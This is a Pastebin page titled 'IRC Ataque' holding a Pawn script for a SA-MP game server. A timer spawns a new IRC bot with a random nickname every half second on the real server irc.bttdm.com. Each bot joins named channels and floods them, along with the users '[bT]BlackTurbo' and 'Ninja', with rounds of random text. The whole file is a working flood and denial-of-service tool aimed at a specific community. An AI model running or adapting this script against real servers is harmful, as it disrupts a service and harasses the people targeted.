BR_Gustavo

IRC Ataque

Sep 5th, 2019
207
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <a_samp>
  2. #include <irc>
  3. #include <foreach>
  4.  
  5. new
  6.     Grupo;
  7.    
  8. forward RemoverBots();
  9. forward ConectarBo();
  10. forward MandarOFlood(botid);
  11.  
  12. main()
  13. {
  14. }
  15.  
  16. public OnGameModeInit()
  17. {
  18.     new BotIDD;
  19.     SetGameModeText("irc");
  20.     AddPlayerClass(0, 1958.3783, 1343.1572, 15.3746, 269.1425, 0, 0, 0, 0, 0, 0);
  21.     SetTimer("ConectarBo",500,true);
  22.     BotIDD = IRC_Connect("irc.bttdm.com",6667,"Pingu","mybot","Pingu",false);
  23.     IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
  24.     BotIDD = IRC_Connect("irc.bttdm.com",6667,"Diana","mybot","Pingu",false);
  25.     IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
  26.     return 1;
  27.    
  28. }
  29.  
  30. public OnGameModeExit()
  31. {
  32.     for(new i=0; i<100; i++)
  33.     {
  34.         IRC_Quit(i,"z");
  35.     }
  36.     return 1;
  37. }
  38. public IRC_OnConnect(botid, ip[], port)
  39. {
  40.     IRC_JoinChannel(botid,"#btirc[3x]","123");
  41.     IRC_JoinChannel(botid,"#btirc[3z]","123");
  42.     IRC_JoinChannel(botid,"#btzombie","123");
  43.     IRC_AddToGroup(Grupo,botid);
  44.    
  45.     printf(" BoT ID: %d Conectou-se",botid);
  46.     MandarOFlood(botid);
  47.     return 1;
  48. }
  49. MandarOFlood(botid)
  50. {
  51.  
  52.     new MsgFormat3[20];
  53.     for(new i=0; i<100; i++)
  54.     {
  55.         randomString(MsgFormat3,random(20));
  56.  
  57.         IRC_Say(botid,"#btirc[3x]",MsgFormat3);
  58.         IRC_Say(botid,"#btirc[3z]",MsgFormat3);
  59.         IRC_Say(botid,"#btirc[3e]",MsgFormat3);
  60.         IRC_Say(botid,"#btirc[3.7]",MsgFormat3);
  61.         IRC_Say(botid,"#btzombie",MsgFormat3);
  62.         IRC_Say(botid,"[bT]BlackTurbo",MsgFormat3);
  63.         IRC_Say(botid,"Ninja",MsgFormat3);
  64.     }
  65.     return 1;
  66. }
  67. public IRC_OnReceiveRaw(botid,message[])
  68. {
  69.     print(message);
  70.     return 1;
  71. }
  72. public IRC_OnDisconnect(botid, ip[], port, reason[])
  73. {
  74.     IRC_RemoveFromGroup(Grupo,botid);
  75.     return 1;
  76. }
  77.  
  78. public IRC_OnUserSay(botid, recipient[], user[], host[], message[])
  79. {
  80.     if(IRC_IsVoice(botid,recipient,user))
  81.     {
  82.         if(strcmp(user,"Pingu",true))
  83.         {
  84.             if(strcmp(user,"Diana",true))
  85.             {
  86.                 printf("%s: %s",user,message);
  87.             }
  88.         }
  89.     }
  90.     return 1;
  91. }
  92. public RemoverBots()
  93. {
  94.     SendRconCommand("gmx");
  95.     return 1;
  96. }
  97. public ConectarBo()
  98. {
  99.     new BotIDD,MsgFormat[8];
  100.     randomString(MsgFormat,5);
  101.     BotIDD = IRC_Connect("irc.bttdm.com",6667,MsgFormat,"mybot",MsgFormat,false);
  102.     IRC_SetIntData(BotIDD, E_IRC_CONNECT_DELAY, 01);
  103.     return 1;
  104. }
  105. stock randomString(strDest[], strLen = 10)
  106. {
  107.     while(strLen--)
  108.         strDest[strLen] = random(2) ? (random(26) + (random(2) ? 'a' : 'A')) : (random(10) + '0');
  109. }
RAW Paste Data